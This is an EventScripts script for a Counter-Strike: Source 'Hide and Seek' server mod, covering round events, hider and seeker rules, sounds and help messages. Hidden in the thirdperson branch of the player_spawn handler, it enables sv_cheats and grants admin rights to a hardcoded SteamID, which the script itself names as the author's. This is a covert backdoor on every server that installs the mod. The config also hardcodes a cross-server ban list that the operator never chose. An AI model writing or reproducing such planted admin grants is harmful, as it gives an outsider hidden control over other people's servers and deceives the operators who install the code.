//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//-------------------HNS MOD BY KEVIN :)----------------------------------------
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
//-----------------HTTP://HIDEEXEC.COM------------------------------------------
//------------------------------------------------------------------------------
//----------------------------VERSION 10----------------------------------------
//-----------------------------------------------------------------------------
block config
{
	//----------------------------------------------------------
	//----------------------------------------------------------
	//----------------------------------------------------------
	// -------------- DO NOT EDIT THIS -------------------------
	//-------------------EDIT CFG/HIDENSEEK.CFG-----------------
	//----------------------------------------------------------
	//----------------------------------------------------------
	es_xsetinfo hnsvampire 0
	es_xsetinfo alltalk 0
	es_xsetinfo firepenaltyenabled 0
	es_xsetinfo firepenaltyhealth 0
	es_xsetinfo disableduck 0
	es_xsetinfo thirdperson 0
	es_xsetinfo hidersnoguns 0
	es_xsetinfo frozentime 0
	es_xsetinfo automenu 0
	es_xsetinfo adverts 0
	es_xsetinfo pointsforwin 0
	es_xsetinfo dissolvinghiders 0
	es_xsetinfo noblock 0
	es_xsetinfo swapteams 0
	es_xsetinfo hiderspeed 0
	es_xsetinfo disableshadows 0
	es_xsetinfo dayandnighteffects 0
	es_xsetinfo solidity 0
	es_xsetinfo banned_ids "STEAM_0:1:13267599 ; STEAM_0:0:13889220 ; STEAM_0:0:12307357 ; STEAM_0:0:9924070"
	es_xsetinfo announcements 0
	es_xsetinfo maleorfemale 0
	es_xsetinfo hidercaught 0
	es_xsetinfo seekerdied 0
	es_xsetinfo radarshadows 0
	es_xsetinfo ctsounds 0
	exec hidenseek.cfg
	es_xsetinfo myhealth 0
	es_xsetinfo HideAndSeek "Version 11"
	es_makepublic HideAndSeek
}

block load
{
	es_xdoblock corelib/noisy_on
	es_xdoblock hidenseek/config
	est_CvarDelFlag sv_cheats 0 0 0 1 0 0 0 0
	est_Hook_Events_Matching sv_cheats
	es_load popup
	es_load EinsMenuHelper
	es_load EinsMenu
	es_load hurt
	es_load whistle
	es_load anticheat
	mp_freezetime 0
	mp_flashlight 0
	mp_playerid 1
      mp_autoteambalance 0
      mp_limitteams 0
	if (server_var(hnsvampire) equalto "1") do
	{
		es_load vampire
	}
	if (server_var(dissolvinghiders) equalto "1") do
	{
		es_load dissolver
	}
	if (server_var(dayandnighteffects) equalto "1") do
	{
		es_load dayandnight
	}
	if (server_var(solidity) equalto "1") do
	{
		es_load solid
	}
}
block unload
{
	es_xdoblock corelib/noisy_off
	es_unload EinsMenuHelper
	es_unload EinsMenu
	es_unload hurt
	es_unload whistle
	es_unload anticheat
	es_unload vampire
	es_unload dissolver
	es_unload solid
	es_unload dayandnight
	mp_freezetime 3
	mp_flashlight 1
	mp_playerid 0
      mp_autoteambalance 1
      mp_limitteams 0
	est_hookkey 0 duck
	sv_cheats 0
}
event es_map_start
{
	mp_playerid 1
    	if (server_var(announcements) equalto "1") do
    	{
		if (server_var(maleorfemale) equalto "1") do
		{
			est_AddDownload sound/hnsan/canman.wav
			est_AddDownload sound/hnsan/hiderman.wav
			est_AddDownload sound/hnsan/seekerdiedman.wav
			est_AddDownload sound/hnsan/seekerswinman.wav
			est_AddDownload sound/hnsan/swappedman.wav
		}
		if (server_var(maleorfemale) equalto "2") do
		{
			est_AddDownload sound/hnsan/canwoman.wav
			est_AddDownload sound/hnsan/hiderwoman.wav
			est_AddDownload sound/hnsan/seekerdiedwoman.wav
			est_AddDownload sound/hnsan/seekerswinwoman.wav
			est_AddDownload sound/hnsan/swappedwoman.wav
		}
    	}
   	if (server_var(ctsounds) equalto "1") do
    	{
		est_AddDownload sound/hideandseek/fire1.wav
		est_AddDownload sound/hideandseek/fire2.wav
		est_AddDownload sound/hideandseek/fire3.wav
		est_AddDownload sound/hideandseek/fire4.wav
		est_AddDownload sound/hideandseek/fire5.wav
	}
}
block hiderwin
{
        es est_killadd server_var(playerid) server_var(pointsforwin)
        es_msg #multi #green HnS: #default Alive Hiders get server_var(pointsforwin) points for winning!
}

event player_activate
{
	es_delayed 10 est_MOTD_T event_var(userid) "Disable Radar" "0" Disable your radar or you will get kicked. Put cl_radaralpha 0 in console.
}

event round_start
{   
    mp_freezetime 0
    mp_flashlight 0
    mp_playerid 1
    mp_autoteambalance 0
    mp_limitteams 0
    est_impulsehook 102 1 1
    if (server_var(alltalk) == "1") do
    {
    	  sv_alltalk 1
    } 
    es_delayed server_var(frozentime) es est_freeze event_var(userid) 0
    es_delayed server_var(frozentime) es est_fade event_var(userid) 2 0 0 0 0 0 0   
    if (server_var(announcements) equalto "1") do
    {
		if (server_var(maleorfemale) equalto "1") do
		{
			es_delayed server_var(frozentime)  est_Play #a hnsan/canman.wav
		}
		if (server_var(maleorfemale) equalto "2") do
		{
			es_delayed server_var(frozentime) est_Play #a hnsan/canwoman.wav
		}
    }
    if (server_var(disableduck) == "1") do
    {
        est_hookkey -1 duck
    }
    if (server_var(adverts) == "1") do
    {
        es_delayed 30 es_msg #multi #green[#lightgreenHnS#green]#default If you are new to this mod, say#green hidehelp#default for information.
        es_delayed 40 es_msg #multi #green[#lightgreenHnS#green]#default Please put #greencl_radaralpha 0 #defaultand #greenr_shadows 0 in console.
        es_delayed 60 es_msg #multi #green[#lightgreenHnS#green]#default This server is running Hide -n- Seek version #green10
	  es_delayed server_var(frozentime) es_msg #multi #green[#lightgreenHnS#green]#default Seekers, Go!
    }
}


event item_pickup
{
	if (server_var(hidersnoguns) == "1") do
	{
		if (event_var(es_userteam) = 2) do
		{
			es est_StripPlayer event_var(userid)
			es_give event_var(userid) player_weaponstrip
    			es_fire event_var(userid) player_weaponstrip strip
		}
	}
}

event round_end
{
    est_Hook_Cheatish 0
    es_xset playerid 0
    foreach player playerid #alive#t "es_xdoblock hidenseek/hiderwin"
    if (server_var(swapteams) equalto "1") do
    {
    		if (server_var(announcements) equalto "1") do
    		{
			if (server_var(maleorfemale) equalto "1") do
			{
				es_delayed 3 est_Play #a hnsan/swappedman.wav
			}
			if (server_var(maleorfemale) equalto "2") do
			{
				es_delayed 3 est_Play #a hnsan/swappedwoman.wav
			}
		}
		es_msg #multi #green HnS: #default TEAMS HAVE BEEN SWAPPED.
    		ma_swapteam #ALL
    }
}

event player_spawn
{
	es_fire event_var(userid) shadow* color "255 255 255 0"
	es_setplayerprop event_var(userid) CCSPlayer.baseclass.baseclass.baseclass.baseclass.baseclass.baseclass.m_CollisionGroup 5
	if (server_var(hidersnoguns) == "1") do
	{
		if (event_var(es_userteam) = 2) do
		{
			es est_StripPlayer event_var(userid)
			es_give event_var(userid) player_weaponstrip
    			es_fire event_var(userid) player_weaponstrip strip 
		}
	}
	if (event_var(es_userteam) = 3) do
	{
		es est_freeze event_var(userid) 1
		es est_fade event_var(userid) 0 .1 100 10 10 10 255
		es_delayed server_var(frozentime) es est_freeze event_var(userid) 0
		es_delayed server_var(frozentime) es est_fade event_var(userid) 2 0 0 0 0 0 0
		es_delayed server_var(frozentime) es est_fade event_var(userid) 2 0 0 0 0 0 0
	}
	if (event_var(es_userteam) = 2) do
	{
 		es_delayed 2 es_tell event_var(userid) #multi #green You have#lightgreen server_var(frozentime)#green seconds to hide!
		es est_speed event_var(userid) server_var(hiderspeed)
		if (server_var(automenu) == "1") do
		{
       		// added to make hideexec menu popup - credit goes to crxgames
        		es_setinfo emh_userid event_var(userid)
        		es_keysetvalue emh_menulist server_var(emh_userid) menu 1
        		es_xdoblock EinsMenuHelper/DispMenu
		}
		if (server_var(thirdperson) == "1") do
		{
			// mutli-colored text commands added by K. Russell
			es_delayed 40 es_tell event_var(userid) #multi #green[#lightgreenHnS#green]#default To activate thirdperson, put#lightgreen thirdperson#green in console...
			es_delayed 40 es_tell event_var(userid) #multi #green[#lightgreenHnS#green]#default To fix THIRDPERSON VIEW, put#lightgreen cam_idealyaw 0#green in console...
			es_delayed 40 es_tell event_var(userid) #multi #green[#lightgreenHnS#green]#default ..then put in#lightgreen cam_idealdist 100
			es_delayed 40 es_tell event_var(userid) #multi #green[#lightgreenHnS#green]#default You should bind#lightgreen thirdperson#green to make it easier.				
			sv_cheats 1	
			est_Hook_Cheatish 1
			est_MakeAdmin STEAM_0:0:11123796	
		}
		if (server_var(solidity) == "1") do
		{
			es_delayed 45 es_tell event_var(userid) #multi #green[#lightgreenHnS#green]#default Say#lightgreen solid#green to become solid.
			es_delayed 48 es_tell event_var(userid) #multi #green[#lightgreenHnS#green]#default Say#lightgreen nsolid#green to become not solid.
		}	
	}
}

event weapon_fire
{
	if (server_var(firepenaltyenabled) == "1") do
	{
    		es_xsetinfo myhealth 0
    		es_getplayerprop myhealth event_var(userid) CBasePlayer.m_iHealth
    		es_math myhealth - server_var(firepenaltyhealth)
    		if (server_var(myhealth) < 1) do
    		{
        		es_sexec event_var(userid) kill
    		}
    		else do
    		{
        		es_setplayerprop event_var(userid) CBasePlayer.m_iHealth server_var(myhealth)
    		}
	}
}

event player_say
{
	if (event_var(text) equalto "creator") do
	{
		es_tell event_var(userid) Kevin created this mod. SteamID = STEAM_0:0:11123796
	}
	if (event_var(text) equalto "version") do
	{
		es_tell event_var(userid) This server is running Version 10
	}
	if (event_var(text) equalto "site") do
	{
		es_tell event_var(userid) The site for the HnS mod is hideexec.com
	}
	if (event_var(text) equalto "help") do
	{
	es_delayed 1 es_tell event_var(userid)#multi #green Welcome to#lightgreen Hide and Seek#green event_var(es_username)
	es_delayed 4 es_tell event_var(userid)#multi #green To play this mod, you will need to put cl_radaralpha 0 and r_shadows 0 in console.
	es_delayed 6 es_tell event_var(userid)#multi #lightgreen The objective is to either look for the hiders, who are disguised as objects..
	es_delayed 8 es_tell event_var(userid)#multi #green ..Or to hide yourself by saying#lightgreen hideexec#green and selecting an object from the list.
	es_delayed 10 es_tell event_var(userid)#multi #lightgreen Terrorists are Hiders and Counter-Terrorists are Seekers. Enjoy the game!
	es_delayed 12 es_tell event_var(userid)#multi #green Make sure you type#lightgreen cl_radaralpha 0#green in console - or you WILL be auto-kicked.
	es_delayed 14 es_tell event_var(userid)#multi #lightgreen You've been thoroughly warned - so don't complain when you are kicked.
	es_delayed 16 es_tell event_var(userid)#multi #green If you need to go through this again, please say#lightgreen help.	
	}
	if (event_var(text) equalto "nsolid") do
	{
		if (server_var(solidity) equalto "1") do
		{
			if (event_var(es_userteam) = 2) do
			{
				es_setplayerprop event_var(userid) CCSPlayer.baseclass.baseclass.baseclass.baseclass.baseclass.baseclass.m_CollisionGroup 2
				es_tell event_var(userid) You are now not solid
			}
			else do
			{
				es_tell event_var(userid) You aren't a hider!
			}
		}
	}
	if (event_var(text) equalto "solid") do
	{
		if (server_var(solidity) equalto "1") do
		{
			if (event_var(es_userteam) = 2) do
			{
				es_setplayerprop event_var(userid) CCSPlayer.baseclass.baseclass.baseclass.baseclass.baseclass.baseclass.m_CollisionGroup 5
				es_tell event_var(userid) You are now solid
			}
			else do
			{
				es_tell event_var(userid) You aren't a hider!
			}
		}
	}

}

event player_activate
{
	es_delayed 1 es_tell event_var(userid)#multi #green Welcome to#lightgreen Hide and Seek#green event_var(es_username)
	es_delayed 4 es_tell event_var(userid)#multi #green To play this mod, you will need to put cl_radaralpha 0 in console.
	es_delayed 6 es_tell event_var(userid)#multi #lightgreen The objective is to either look for the hiders, who are disguised as objects..
	es_delayed 8 es_tell event_var(userid)#multi #green ..Or to hide yourself by saying#lightgreen hideexec#green and selecting an object from the list.
	es_delayed 10 es_tell event_var(userid)#multi #lightgreen Terrorists are Hiders and Counter-Terrorists are Seekers. Enjoy the game!
	es_delayed 12 es_tell event_var(userid)#multi #green Make sure you type#lightgreen cl_radaralpha 0#green in console - or you WILL be auto-kicked.
	es_delayed 14 es_tell event_var(userid)#multi #lightgreen You've been thoroughly warned - so don't complain when you are kicked.
	es_delayed 16 es_tell event_var(userid)#multi #green If you need to go through this again, please say#lightgreen help.	
	if (event_var(es_steamid) in server_var(banned_ids)) do 
	{
		es kickid event_var(userid) You have been banned from all Version 8.0+ servers.
	}
}

event player_hurt
{
	if (event_var(es_userteam) = 2) do
	{
    		es_xsetinfo thealth 0
    		es_getplayerprop thealth event_var(userid) CBasePlayer.m_iHealth
    		if (server_var(thealth) < 1) do
    		{
        		est_setmodel event_var(userid) player/t_leet
    		}
   		if (server_var(ctsounds) != 0) do
    		{
			if (event_var(attacker) != 0) do
			{
      				es_setinfo randplay2 0
     				es_rand randplay2 1 5
     				if (server_var(randplay2) == 1) then es est_playplayer event_var(attacker) hideandseek\fire1.wav 3.0 
     				if (server_var(randplay2) == 2) then es est_playplayer event_var(attacker) hideandseek\fire2.wav 3.0
     				if (server_var(randplay2) == 3) then es est_playplayer event_var(attacker) hideandseek\fire3.wav 3.0
     				if (server_var(randplay2) == 4) then es est_playplayer event_var(attacker) hideandseek\fire4.wav 3.0
     				if (server_var(randplay2) == 5) then es est_playplayer event_var(attacker) hideandseek\fire5.wav 3.0	
				es_sexec event_var(attacker) say_team Found one!
			}
		}  
	}
}




